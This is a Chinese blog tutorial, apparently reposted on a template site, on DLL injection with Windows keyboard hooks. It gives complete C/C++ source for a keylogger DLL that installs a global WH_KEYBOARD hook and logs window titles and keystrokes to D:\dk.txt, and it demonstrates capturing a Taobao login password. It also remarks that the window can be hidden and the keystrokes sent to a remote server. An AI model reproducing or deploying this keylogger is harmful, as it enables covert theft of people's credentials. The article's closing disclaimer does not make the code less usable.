使用windows钩子(HOOK)实现DLL注入

这篇具有很好参考价值的文章主要介绍了使用windows钩子(HOOK)实现DLL注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

DLL注入

  • 在Windows中,每个进程有自己私有的地址空间。当我们用指针来引用内存的时候,指针的值表示的是进程自己的地址空间中的一个内存地址。进程不能创建一个指针来引用属于其他进程的内存。因此,如果进程有一个缺陷会覆盖随机地址处的内存,那么这个缺陷不会影响到其他进程所使用的内存。
  • 独立的地址空间对开发人员和用户是非常有利的。对开发人员来说,系统更有可能捕获错误的内存读/写。对于用户来说,操作系统变得更加健壮了,因为一个应用程序的错误不会导致其他应用程序或操作系统崩溃。
  • 所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。可以通过很多种方式来实现DLL注入。
  • 使用注册表来注入DLL
  • 使用Windows挂钩来注入DLL
  • 使用远程线程来注入DLL
  • 使用木马DLL来注入
  • 把DLL作为调试器来注入
  • 使用CreateProcess来注入代码

HOOK技术

  • 这篇文章主要介绍下通过HOOK技术来实现DLL注入

windows窗口程序

  • 先创建一个windows窗口程序

  • 新建一个win32项目
    使用windows钩子(HOOK)实现DLL注入
    使用windows钩子(HOOK)实现DLL注入

  • 新建一个源文件,写一个windows窗口程序

#include <windows.h>

typedef BOOL(*P)();

//窗口处理函数
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);


//入口函数
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
	//设计窗口类
	WNDCLASS wc = { 0 };
	TCHAR szAppClassName[] = TEXT("KEY_EDU");

	wc.hbrBackground = CreateSolidBrush(RGB(120, 50, 40)); //背景颜色
	wc.hInstance = hInstance;    //应用程序实例句柄
	wc.lpfnWndProc = WindowProc; //窗口处理函数
	wc.lpszClassName = szAppClassName; //窗口类型名
	wc.style = CS_HREDRAW | CS_VREDRAW; //窗口风格


	//注册窗口
	RegisterClass(&wc);

	//创建窗口
	HWND hWnd = CreateWindow(
		szAppClassName,      //窗口类型名
		TEXT("键盘记录器"),  //窗口标题名
		WS_OVERLAPPEDWINDOW, //窗口风格
		300,                 //窗口坐标(距离左边)
		200,                 //窗口坐标(距离上边)
		500,                 //窗口宽度
		300,                 //窗口高度
		NULL,                //父窗口句柄
		NULL,                //菜单句柄
		hInstance,           //应用程序实例句柄
		NULL                 //附加信息
	);


	//显示窗口(SW_HIDE 隐藏窗口)
	ShowWindow(hWnd, SW_SHOW);

	//更新窗口
	UpdateWindow(hWnd);

	//消息循环
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
		//将虚拟键消息转换为字符消息
		TranslateMessage(&msg);

		//将消息分发给窗口处理
		DispatchMessage(&msg);
	}

	return 0;
}

LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch (uMsg)
	{
	case WM_CLOSE:   //窗口关闭消息
		DestroyWindow(hWnd);  //销毁窗口
		break;
	case WM_DESTROY:
		PostQuitMessage(0);       //退出窗口
		break;
	case WM_CREATE:      //窗口创建消息
		HMODULE hModule = ::LoadLibrary(TEXT("KeyHook.dll"));
		if (hModule != NULL)
		{
			P pfun = (P)::GetProcAddress(hModule, "InstallHook");
			if (pfun != NULL)
			{
				pfun();
			}
		}
		break;
	}

	return DefWindowProc(hWnd, uMsg, wParam, lParam);
}

钩子程序

  • 创建一个DLL程序
    使用windows钩子(HOOK)实现DLL注入
    使用windows钩子(HOOK)实现DLL注入
  • 创建一个头文件和源文件
  • keyHook.h
#pragma once
#include <windows.h>

HHOOK g_hook;

//安装钩子
extern "C" __declspec(dllexport) BOOL InstallHook();


//卸载钩子
extern "C" __declspec(dllexport) BOOL UninstallHook();

//钩子处理函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
  • keyHook.cpp
#include "keyHook.h"
#include <stdio.h>

BOOL InstallHook()
{
	g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(L"KeyHook"), 0);
	if (g_hook == NULL)
	{
		return FALSE;
	}
	return TRUE;
}

BOOL UninstallHook()
{
	return UnhookWindowsHookEx(g_hook);
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	//拿到当前操作窗口的句柄
	HWND hWnd = ::GetActiveWindow();  //拿当前活动窗口
	if (hWnd == NULL)
	{
		hWnd = ::GetForegroundWindow(); //拿顶层窗口
		if (hWnd == NULL)
		{
			return CallNextHookEx(g_hook, nCode, wParam, lParam);
		}
	}

	//拿标题
	char windowsTextBuff[256] = { 0 };
	GetWindowTextA(hWnd, windowsTextBuff, 255);

	//去掉不能拿的按键
	if (nCode < 0 || nCode == HC_NOREMOVE)
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);  //让钩子往下传
	}

	if (lParam & 0x40000000) //键盘抬起
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);
	}

	//获取按键
	char keyTextBuff[256] = { 0 };
	GetKeyNameTextA(lParam, keyTextBuff, 255);

	//打开文件
	FILE* fp = fopen("D:\\dk.txt", "a");
	if (fp == NULL)
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);
	}

	char buff[256] = { 0 };
	sprintf_s(buff, "%s:%s\n", windowsTextBuff, keyTextBuff);

	fwrite(buff, 1, strlen(buff), fp);
	fclose(fp);

	return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
  • 然后把库文件拷贝到windows窗口程序运行目录下
    使用windows钩子(HOOK)实现DLL注入
    使用windows钩子(HOOK)实现DLL注入

测试

  • 直接运行windows窗口程序

使用windows钩子(HOOK)实现DLL注入文章来源地址https://www.toymoban.com/news/detail-443666.html

  • 然后我们用键盘随便输入信息
  • 打开淘宝输入账号和密码
    使用windows钩子(HOOK)实现DLL注入
  • 在D:\dk.txt文件中就会记录按键信息
    使用windows钩子(HOOK)实现DLL注入
  • 当然可以记录你的任何输入
    使用windows钩子(HOOK)实现DLL注入
    使用windows钩子(HOOK)实现DLL注入
  • 运行窗口只是为了方便演示,这个窗口可以隐藏。所以说为什么不要去点击乱七八糟的网页,如果攻击者把程序放到钓鱼网站,你点击后,这些程序就会神不知鬼不觉的下载安装运行在你的电脑上,这个测试程序只是将键盘输入记录到本地文件中,攻击者完全可以把你的输入实时发送到远程服务器上。
  • 郑重申明,请不要使用HOOK技术去干违法的事情。

到了这里,关于使用windows钩子(HOOK)实现DLL注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Windows系统下使用PHPCS+PHPMD+GIT钩子

    前言 0.介绍 PHP_CodeSniffer php代码嗅探器 包含phpcs(php code standard 代码标准) phpcbf(php code beautify fix 代码美化修复) 是一个代码风格检测工具,着重 代码规范 它包含两类脚本,phpcs 和 phpcbf 1.安装 2.验证是否安装成功并查看帮助 3.使用 4.集成到git 4.1 新增钩子文件 在 .githooks目录下执

    2024年02月20日
    浏览(28)
  • 【小沐学C++】C++ 实现鼠标键盘钩子HOOK

    https://learn.microsoft.com/zh-cn/windows/win32/winmsg/about-hooks 挂钩是应用程序截获消息、鼠标操作和击键等事件的机制。 截获特定类型的事件的函数称为 挂钩过程。 挂钩过程可以对其接收的每个事件执行操作,然后修改或放弃该事件。 挂钩是系统消息处理机制中的一个点,其中应用

    2024年02月02日
    浏览(47)
  • c#使用Hook钩子全局监听键盘和鼠标

    背景:今天接到客户一个需求,就是在收银员在用扫码枪扫顾客会员码或者微信付款码的时候判断用户有没有加企微好友和进企微群,然后根据这个状态进行语音播报,判断顾客能不能享受优惠价。关键难点就是用户用的收银系统是别家的,线上小程序用的是我们家的,两家

    2024年01月22日
    浏览(49)
  • 开源项目CuteSqlite开发笔记(八):Windows 64位/32位使用GetWindowLongPtr钩子函数

    需求描述 在开发CuteSqlite的时候, 有一个功能需要实现,鼠标移到WTL::CStatic上后,发送消息通知CToolTipCtrl弹出。 遇到问题 WTL::CStatic控件没有相应 WM_MOUSEMOVE 消息,需要返回一个HTCLIENT消息来让窗口处理函数执行 WM_MOUSEMOVE消息,因为控件实例的鼠标消息,比如WM_MOUSEMOVE不会发送

    2024年01月23日
    浏览(37)
  • 第116天:免杀对抗-EDR&Syscall-hook&DLL反射注入&白加黑&隐写分离&加载器

    知识点 演示案例: 总结

    2024年02月16日
    浏览(45)
  • Windows使用cmake编译dll

    CMake MinGW CMake工具负责将CMakeLists.txt配置文件转换成相关的MakeFile脚本,本身并不参与编译,而是使用MinGW工具进行编译。 在Linux系统使用CMake编译需要执行以下命令即可编译出相关产物,但在Windows要使用MinGW工具编译需要在执行cmake命令时,添加相关的参数,即 -G \\\"MinGW Makefil

    2024年02月11日
    浏览(64)
  • windows钩子保护自身进程不被破坏

    代码来自于《windows核心编程》作者: APIHOOK.h头文件: APIHOOK.cpp实现文件:

    2024年02月12日
    浏览(34)
  • 解决~~~Windows10系统下使用/添加dll文件的方法

    我们在windows10系统电脑中运行程序时遇到缺少xxx.dll文件,无法正常运行情况的话,那么就需要 下载对应的dll文件 才可以。 dll文件下载官网,自己搜索需要的文件 找到系统文件夹 Windows操作系统会创建了一个新的名为 System32 的文件夹来存放32位的dll文件。而在 64位 版本的W

    2024年02月11日
    浏览(36)
  • windows平台下静态库(.lib)和动态库(.dll)使用

    函数实现和变量的二进制文件 编译链接可执行程序时,静态库会直接展开到文件。 发布可执行程序时,不需要静态库。 编译出的可执行文件较大。 windows下动态库一般包含引入库(.lib)文件和动态库(.dll文件)。 dll包含函数实现和变量;lib包含该dll的中函数和变量的声明

    2024年02月01日
    浏览(44)
  • API Monitor简易使用教程 监控Windows dll调用 监控Windows API调用 查看函数名,参数类型,参数,返回值

    1、API Filter窗口:选定要监听的dll函数或windows API,可以打断点 选中并右键勾上Breakpoint 选 Before Call 2、Monitor New Process 窗口 :选择要运行的exe 3、Summary窗口:会列出所有调用的函数。点函数,查看函数名,参数类型,参数,返回值等。还能设断点。 当调用到断点的函数调用时

    2024年01月21日
    浏览(49)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包